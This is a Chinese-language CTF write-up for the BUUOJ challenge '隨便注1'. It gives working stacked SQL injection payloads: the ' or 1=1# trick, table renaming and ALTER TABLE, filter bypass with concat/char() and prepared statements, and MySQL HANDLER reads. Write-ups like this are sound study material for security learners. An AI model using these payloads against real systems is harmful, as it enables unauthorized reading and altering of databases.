題目:隨便注1
出處:https://buuoj.cn/challenges
知識點:
滲透相關知識:
1.堆疊注入
2.猜解查詢陳述句
3.閉合sql陳述句的測驗方法
常規的sql陳述句:
1.desc table:顯示表結構
2.show tables/show tables:顯示所有表
預處理陳述句:
1.set 變數名=xxx:創建變數
2.concat():可以拼接繞過字符過濾,執行sql方法,制造出目標的字串
3.prepare 陳述句名=字串名:預處理,字串賦值給陳述句并執行
4.excute 陳述句名:執行prepare創建出的陳述句
題面:

解題步驟:
1.直接提交1,回傳了一個php陣列形式的回傳值,說明有回顯,

2.嘗試使用 '、"、]、) 等閉合sql陳述句,發現單引號引起報錯,

3.嘗試萬能密碼‘ or 1=1#,根據回顯內容,發現flag不在當前所在的表中,這說明需要利用注入陳述句切換當前所在的表,

4.首先查詢所有的表名,1';desc tables;#; 發現當前庫中存在兩個表

5.分別查看兩個表結構
1';desc `1919810931114514`;#
1';desc `words`;#
發現flag存在于表1919810931114514中

6.現在目標明確,要查詢表1919810931114514中的flag
1';select * from `1919810931114514`;#
執行后發現存在過濾,無法使用select,

7.到這一步為止可以有多種解法
法一:
對查詢陳述句進行猜解,猜測查詢陳述句如下:
select * from `words` where id = '$inject';
或者
select id,data from `words` where id='$inject';
如此看來目前我們要查詢1919810931114514表,而目前可利用的select陳述句執行在words表,且無法使用堆疊注入執行新的select陳述句,這就陷入了死回圈,
重新分析一下,已有的select陳述句其實在本題中是可以多次執行的,每次執行不影響表結構,其功能是查詢words表中的全部內容,所以我們如果能想辦法利用一個堆疊注入將1919810931114514表中的內容轉移到words中,然后再使用一次萬能密碼(’or 1=1#),就可以得到flag,
復制陳述句大概長這樣
insert into `words` select * from `1919810931114514`
不行insert肯定會被過濾掉,換個思路,其實我還可以把1919810931114514表名改了,
說搞就搞,
1';rename table `words` to `meiyong`;rename table `1919810931114514` to `words`;#

搞砸了,大概是沒有加表名沒有``,再來一次,回傳結果有變化,但仍然是報錯,報錯內容提醒我,1919810931114514中本身沒有id列,會翻車,

重置環境重來,把flag列名改成id,執行沒有回顯,說明陳述句順利執行了,
1';rename table `words` to `meiyong`;rename table `1919810931114514` to `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;#
接著再執行萬能密碼,得到flag,
1‘or 1=1;

法二:
我們知道只要繞過select陳述句,即可查詢到目標表,這里可以預定義一個陳述句,利用concat拼接,然后執行查詢目標,可以作為通法值得研究,我嘗試的方法有兩種:
(1).利用char()繞過
payload
1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
決議:
#閉合前面的陳述句
1';
#利用concat拼接出目標陳述句,char()方法繞過select
SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");
#利用prepare預定義一個陳述句,并將它賦給 sqla
PREPARE sqla from @sql;
#執行預定義的陳述句
EXECUTE sqla;#
(2).利用拼接繞過
payload:
1';
set @sql=CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;
決議:
#閉合前面的陳述句
1';
#利用concat拼接出目標陳述句,拼接繞過select
set @sql=CONCAT('se','lect * from `1919810931114514`;');
#利用prepare預定義一個陳述句,并將它賦給 sqla
PREPARE sqla from @sql;
#執行預定義的陳述句
EXECUTE sqla;#
下面是一段常見的存盤程序可以參考語法,理解為什么存盤程序要有set、prepare、execute 幾步,
set @_sql = 'select ? + ?';
set @a = 5;
set @b = 6;
PREPARE stmt from @_sql; // 預定義sql
EXECUTE stmt USING @a,@b;// 傳入兩個會話變數來填充sql中的 ?
法三:
利用handler陳述句
該方法直接摘自大佬
mysql除可使用select查詢表中的資料,也可使用handler陳述句,這條陳述句使我們能夠一行一行的瀏覽一個表中的資料,不過handler陳述句并不具備select陳述句的所有功能,它是mysql專用的陳述句,并沒有包含到SQL標準中,
HANDLER tbl_name OPEN [ [AS] alias]
# 打開一張表,無回傳結果,實際上宣告了一個名為tb1_name的句柄,
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# 獲取句柄的第一行,通過READ NEXT依次獲取其它行,最后一行執行之后再執行NEXT會回傳一個空的結果,
HANDLER tbl_name CLOSE
# 關閉打開的句柄,
payload:
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;-- +
總結:在監工短短的督促下,這道題的總結終于東拼西湊寫完了,我還很菜,文章中內容很多都是摘自大佬們,其中有些知識點我的理解也許不對,不確定的這部分我寫的比較繁瑣詳細,希望能與大家交流,
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/205454.html
標籤:python
